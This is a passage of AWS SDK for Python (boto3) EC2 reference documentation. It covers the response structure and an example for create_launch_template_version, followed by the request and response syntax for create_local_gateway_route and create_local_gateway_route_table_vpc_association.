't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'KeyName': 'string', + 'Monitoring': { + 'Enabled': True|False + }, + 'Placement': { + 'AvailabilityZone': 'string', + 'Affinity': 'string', + 'GroupName': 'string', + 'HostId': 'string', + 'Tenancy': 'default'|'dedicated'|'host', + 'SpreadDomain': 'string', + 'HostResourceGroupArn': 'string', + 'PartitionNumber': 123 + }, + 'RamDiskId': 'string', + 'DisableApiTermination': True|False, + 'InstanceInitiatedShutdownBehavior': 'stop'|'terminate', + 'UserData': 'string', + 'TagSpecifications': [ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'ElasticGpuSpecifications': [ + { + 'Type': 'string' + }, + ], + 'ElasticInferenceAccelerators': [ + { + 'Type': 'string', + 'Count': 123 + }, + ], + 'SecurityGroupIds': [ + 'string', + ], + 'SecurityGroups': [ + 'string', + ], + 'InstanceMarketOptions': { + 'MarketType': 'spot', + 'SpotOptions': { + 'MaxPrice': 'string', + 'SpotInstanceType': 'one-time'|'persistent', + 'BlockDurationMinutes': 123, + 'ValidUntil': datetime(2015, 1, 1), + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate' + } + }, + 'CreditSpecification': { + 'CpuCredits': 'string' + }, + 'CpuOptions': { + 'CoreCount': 123, + 'ThreadsPerCore': 123 + }, + 'CapacityReservationSpecification': { + 'CapacityReservationPreference': 'open'|'none', + 'CapacityReservationTarget': { + 'CapacityReservationId': 'string', + 'CapacityReservationResourceGroupArn': 'string' + } + }, + 'LicenseSpecifications': [ + { + 'LicenseConfigurationArn': 'string' + }, + ], + 'HibernationOptions': { + 'Configured': True|False + }, + 'MetadataOptions': { + 'State': 'pending'|'applied', + 'HttpTokens': 'optional'|'required', + 'HttpPutResponseHopLimit': 123, + 'HttpEndpoint': 'disabled'|'enabled' + }, + 'EnclaveOptions': { + 'Enabled': True|False + } + } + }, + 'Warning': { + 'Errors': [ + { + 'Code': 'string', + 'Message': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **LaunchTemplateVersion** _(dict) --_ + + Information about the launch template version. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. + + * **VersionNumber** _(integer) --_ + + The version number. + + * **VersionDescription** _(string) --_ + + The description for the version. + + * **CreateTime** _(datetime) --_ + + The time the version was created. + + * **CreatedBy** _(string) --_ + + The principal that created the version. + + * **DefaultVersion** _(boolean) --_ + + Indicates whether the version is the default version. + + * **LaunchTemplateData** _(dict) --_ + + Information about the launch template. + + * **KernelId** _(string) --_ + + The ID of the kernel, if applicable. + + * **EbsOptimized** _(boolean) --_ + + Indicates whether the instance is optimized for Amazon EBS I/O. + + * **IamInstanceProfile** _(dict) --_ + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Name** _(string) --_ + + The name of the instance profile. + + * **BlockDeviceMappings** _(list) --_ + + The block device mappings. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name. + + * **VirtualName** _(string) --_ + + The virtual device name (ephemeralN). + + * **Ebs** _(dict) --_ + + Information about the block device for an EBS volume. + + * **Encrypted** _(boolean) --_ + + Indicates whether the EBS volume is encrypted. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS) that the volume supports. + + * **KmsKeyId** _(string) --_ + + The ARN of the AWS Key Management Service (AWS KMS) CMK used for encryption. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiB. + + * **VolumeType** _(string) --_ + + The volume type. + + * **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + * **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + + * **NetworkInterfaces** _(list) --_ + + The network interfaces. + + * _(dict) --_ + + Describes a network interface. + + * **AssociateCarrierIpAddress** _(boolean) --_ + + Indicates whether to associate a Carrier IP address with eth0 for a new network interface. + + Use this option when you launch an instance in a Wavelength Zone and want to associate a Carrier IP address with the network interface. For more information about Carrier IP addresses, see [Carrier IP addresses](https://docs.aws.amazon.com/wavelength/latest/developerguide/how-wavelengths-work.html#provider-owned-ip) in the _AWS Wavelength Developer Guide_ . + + * **AssociatePublicIpAddress** _(boolean) --_ + + Indicates whether to associate a public IPv4 address with eth0 for a new network interface. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + * **Description** _(string) --_ + + A description for the network interface. + + * **DeviceIndex** _(integer) --_ + + The device index for the network interface attachment. + + * **Groups** _(list) --_ + + The IDs of one or more security groups. + + * _(string) --_ + * **InterfaceType** _(string) --_ + + The type of network interface. + + * **Ipv6AddressCount** _(integer) --_ + + The number of IPv6 addresses for the network interface. + + * **Ipv6Addresses** _(list) --_ + + The IPv6 addresses for the network interface. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + * **PrivateIpAddress** _(string) --_ + + The primary private IPv4 address of the network interface. + + * **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses. + + * _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + * **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + + * **SecondaryPrivateIpAddressCount** _(integer) --_ + + The number of secondary private IPv4 addresses for the network interface. + + * **SubnetId** _(string) --_ + + The ID of the subnet for the network interface. + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + * **ImageId** _(string) --_ + + The ID of the AMI that was used to launch the instance. + + * **InstanceType** _(string) --_ + + The instance type. + + * **KeyName** _(string) --_ + + The name of the key pair. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **Enabled** _(boolean) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + * **Placement** _(dict) --_ + + The placement of the instance. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + * **Affinity** _(string) --_ + + The affinity setting for the instance on the Dedicated Host. + + * **GroupName** _(string) --_ + + The name of the placement group for the instance. + + * **HostId** _(string) --_ + + The ID of the Dedicated Host for the instance. + + * **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. + + * **SpreadDomain** _(string) --_ + + Reserved for future use. + + * **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. + + * **PartitionNumber** _(integer) --_ + + The number of the partition the instance should launch in. Valid only if the placement group strategy is set to partition . + + * **RamDiskId** _(string) --_ + + The ID of the RAM disk, if applicable. + + * **DisableApiTermination** _(boolean) --_ + + If set to true , indicates that the instance cannot be terminated using the Amazon EC2 console, command line tool, or API. + + * **InstanceInitiatedShutdownBehavior** _(string) --_ + + Indicates whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + * **UserData** _(string) --_ + + The user data for the instance. + + * **TagSpecifications** _(list) --_ + + The tags. + + * _(dict) --_ + + The tag specification for the launch template. + + * **ResourceType** _(string) --_ + + The type of resource. + + * **Tags** _(list) --_ + + The tags for the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **ElasticGpuSpecifications** _(list) --_ + + The elastic GPU specification. + + * _(dict) --_ + + Describes an elastic GPU. + + * **Type** _(string) --_ + + The elastic GPU type. + + * **ElasticInferenceAccelerators** _(list) --_ + + The elastic inference accelerator for the instance. + + * _(dict) --_ + + Describes an elastic inference accelerator. + + * **Type** _(string) --_ + + The type of elastic inference accelerator. The possible values are eia1.medium, eia1.large, and eia1.xlarge. + + * **Count** _(integer) --_ + + The number of elastic inference accelerators to attach to the instance. + + Default: 1 + + * **SecurityGroupIds** _(list) --_ + + The security group IDs. + + * _(string) --_ + * **SecurityGroups** _(list) --_ + + The security group names. + + * _(string) --_ + * **InstanceMarketOptions** _(dict) --_ + + The market (purchasing) option for the instances. + + * **MarketType** _(string) --_ + + The market type. + + * **SpotOptions** _(dict) --_ + + The options for Spot Instances. + + * **MaxPrice** _(string) --_ + + The maximum hourly price you're willing to pay for the Spot Instances. + + * **SpotInstanceType** _(string) --_ + + The Spot Instance request type. + + * **BlockDurationMinutes** _(integer) --_ + + The required duration for the Spot Instances (also known as Spot blocks), in minutes. This value must be a multiple of 60 (60, 120, 180, 240, 300, or 360). + + * **ValidUntil** _(datetime) --_ + + The end date of the request. For a one-time request, the request remains active until all instances launch, the request is canceled, or this date is reached. If the request is persistent, it remains active until it is canceled or this date and time is reached. + + * **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. + + * **CreditSpecification** _(dict) --_ + + The credit option for CPU usage of the instance. + + * **CpuCredits** _(string) --_ + + The credit option for CPU usage of a T2, T3, or T3a instance. Valid values are standard and unlimited . + + * **CpuOptions** _(dict) --_ + + The CPU options for the instance. For more information, see [Optimizing CPU Options](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-optimize-cpu.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **CoreCount** _(integer) --_ + + The number of CPU cores for the instance. + + * **ThreadsPerCore** _(integer) --_ + + The number of threads per CPU core. + + * **CapacityReservationSpecification** _(dict) --_ + + Information about the Capacity Reservation targeting option. + + * **CapacityReservationPreference** _(string) --_ + + Indicates the instance's Capacity Reservation preferences. Possible preferences include: + + * open - The instance can run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + * none - The instance avoids running in a Capacity Reservation even if one is available. The instance runs in On-Demand capacity. + * **CapacityReservationTarget** _(dict) --_ + + Information about the target Capacity Reservation or Capacity Reservation group. + + * **CapacityReservationId** _(string) --_ + + The ID of the targeted Capacity Reservation. + + * **CapacityReservationResourceGroupArn** _(string) --_ + + The ARN of the targeted Capacity Reservation group. + + * **LicenseSpecifications** _(list) --_ + + The license configurations. + + * _(dict) --_ + + Describes a license configuration. + + * **LicenseConfigurationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the license configuration. + + * **HibernationOptions** _(dict) --_ + + Indicates whether an instance is configured for hibernation. For more information, see [Hibernate Your Instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **Configured** _(boolean) --_ + + If this parameter is set to true , the instance is enabled for hibernation; otherwise, it is not enabled for hibernation. + + * **MetadataOptions** _(dict) --_ + + The metadata options for the instance. For more information, see [Instance Metadata and User Data](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **State** _(string) --_ + + The state of the metadata option changes. + + > pending - The metadata options are being updated and the instance is not ready to process metadata traffic with the new selection. + > + > applied - The metadata options have been successfully applied on the instance. + + * **HttpTokens** _(string) --_ + + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credentials always returns the version 2.0 credentials; the version 1.0 credentials are not available. + + * **HttpPutResponseHopLimit** _(integer) --_ + + The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. + + Default: 1 + + Possible values: Integers from 1 to 64 + + * **HttpEndpoint** _(string) --_ + + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the default state is enabled . + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + + * **EnclaveOptions** _(dict) --_ + + Indicates whether the instance is enabled for AWS Nitro Enclaves. + + * **Enabled** _(boolean) --_ + + If this parameter is set to true , the instance is enabled for AWS Nitro Enclaves; otherwise, it is not enabled for AWS Nitro Enclaves. + + * **Warning** _(dict) --_ + + If the new version of the launch template contains parameters or parameter combinations that are not valid, an error code and an error message are returned for each issue that's found. + + * **Errors** _(list) --_ + + The error codes and error messages. + + * _(dict) --_ + + The error code and error message that is returned for a parameter or parameter combination that is not valid when a new launch template or new version of a launch template is created. + + * **Code** _(string) --_ + + The error code that indicates why the parameter or parameter combination is not valid. For more information about error codes, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html.html) . + + * **Message** _(string) --_ + + The error message that describes why the parameter or parameter combination is not valid. For more information about error messages, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html.html) . + + +**Examples** + +This example creates a new launch template version based on version 1 of the specified launch template and specifies a different AMI ID. + +response = client.create_launch_template_version( + LaunchTemplateData={ + 'ImageId': 'ami-c998b6b2', + }, + LaunchTemplateId='lt-0abcd290751193123', + SourceVersion='1', + VersionDescription='WebVersion2', +) + +print(response) + +Expected Output: + +{ + 'LaunchTemplateVersion': { + 'CreateTime': datetime(2017, 12, 1, 13, 35, 46, 4, 335, 0), + 'CreatedBy': 'arn:aws:iam::123456789012:root', + 'DefaultVersion': False, + 'LaunchTemplateData': { + 'ImageId': 'ami-c998b6b2', + 'InstanceType': 't2.micro', + 'NetworkInterfaces': [ + { + 'AssociatePublicIpAddress': True, + 'DeviceIndex': 0, + 'Ipv6Addresses': [ + { + 'Ipv6Address': '2001:db8:1234:1a00::123', + }, + ], + 'SubnetId': 'subnet-7b16de0c', + }, + ], + }, + 'LaunchTemplateId': 'lt-0abcd290751193123', + 'LaunchTemplateName': 'my-template', + 'VersionDescription': 'WebVersion2', + 'VersionNumber': 2, + }, + 'ResponseMetadata': { + '...': '...', + }, +} + +create_local_gateway_route(kwargs_) + +Creates a static route for the specified local gateway route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateLocalGatewayRoute) + +**Request Syntax** + +response = client.create_local_gateway_route( + DestinationCidrBlock='string', + LocalGatewayRouteTableId='string', + LocalGatewayVirtualInterfaceGroupId='string', + DryRun=True|False +) + +Parameters + +* **DestinationCidrBlock** (_string_) -- + + **[REQUIRED]** + + The CIDR range used for destination matches. Routing decisions are based on the most specific match. + +* **LocalGatewayRouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the local gateway route table. + +* **LocalGatewayVirtualInterfaceGroupId** (_string_) -- + + **[REQUIRED]** + + The ID of the virtual interface group. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Route': { + 'DestinationCidrBlock': 'string', + 'LocalGatewayVirtualInterfaceGroupId': 'string', + 'Type': 'static'|'propagated', + 'State': 'pending'|'active'|'blackhole'|'deleting'|'deleted', + 'LocalGatewayRouteTableId': 'string', + 'LocalGatewayRouteTableArn': 'string', + 'OwnerId': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **Route** _(dict) --_ + + Information about the route. + + * **DestinationCidrBlock** _(string) --_ + + The CIDR block used for destination matches. + + * **LocalGatewayVirtualInterfaceGroupId** _(string) --_ + + The ID of the virtual interface group. + + * **Type** _(string) --_ + + The route type. + + * **State** _(string) --_ + + The state of the route. + + * **LocalGatewayRouteTableId** _(string) --_ + + The ID of the local gateway route table. + + * **LocalGatewayRouteTableArn** _(string) --_ + + The Amazon Resource Name (ARN) of the local gateway route table. + + * **OwnerId** _(string) --_ + + The AWS account ID that owns the local gateway route. + + +create_local_gateway_route_table_vpc_association(kwargs_)definition") + +Associates the specified VPC with the specified local gateway route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateLocalGatewayRouteTableVpcAssociation) + +**Request Syntax** + +response = client.create_local_gateway_route_table_vpc_association( + LocalGatewayRouteTableId='string', + VpcId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **LocalGatewayRouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the local gateway route table. + +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + +* **TagSpecifications** (_list_) -- + + The tags to assign to the local gateway route table VPC association. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id131)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id133)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LocalGatewayRouteTableVpcAssociation': { + 'LocalGatewayRouteTableVpcAssociationId': 'string', + 'LocalGatewayRouteTableId': 'string', + 'LocalGatewayRouteTableArn': 'string', + 'LocalGatewayId': 'string', + 'VpcId': 'string', + 'OwnerId': 'string', + 'State': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **LocalGatewayRouteTableVpcAssociation** _(dict) --_ + + Information about the association. + + * **LocalGatewayRouteTableVpcAssociationId** _(string) --_ + + The ID of the association. + + * **LocalGatewayRouteTableId** _(string) --_ + + The ID of the local gateway route table. + + * **LocalGatewayRouteTableArn** _(string) --_ + + The Amazon Resource Name (ARN) of the local gateway route table for the association. + + * **LocalGatewayId** _(string) --_ + + The ID of the local gateway. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **OwnerId** _(string) --_ + + The AWS account ID that owns the local gateway route table for the association. + + * **State** _(string) --_ + + The state of the association. + + * **Tags** _(list) --_ + + The tags assigned to the association. + + * _(dict) --_ + + Describes a tag. 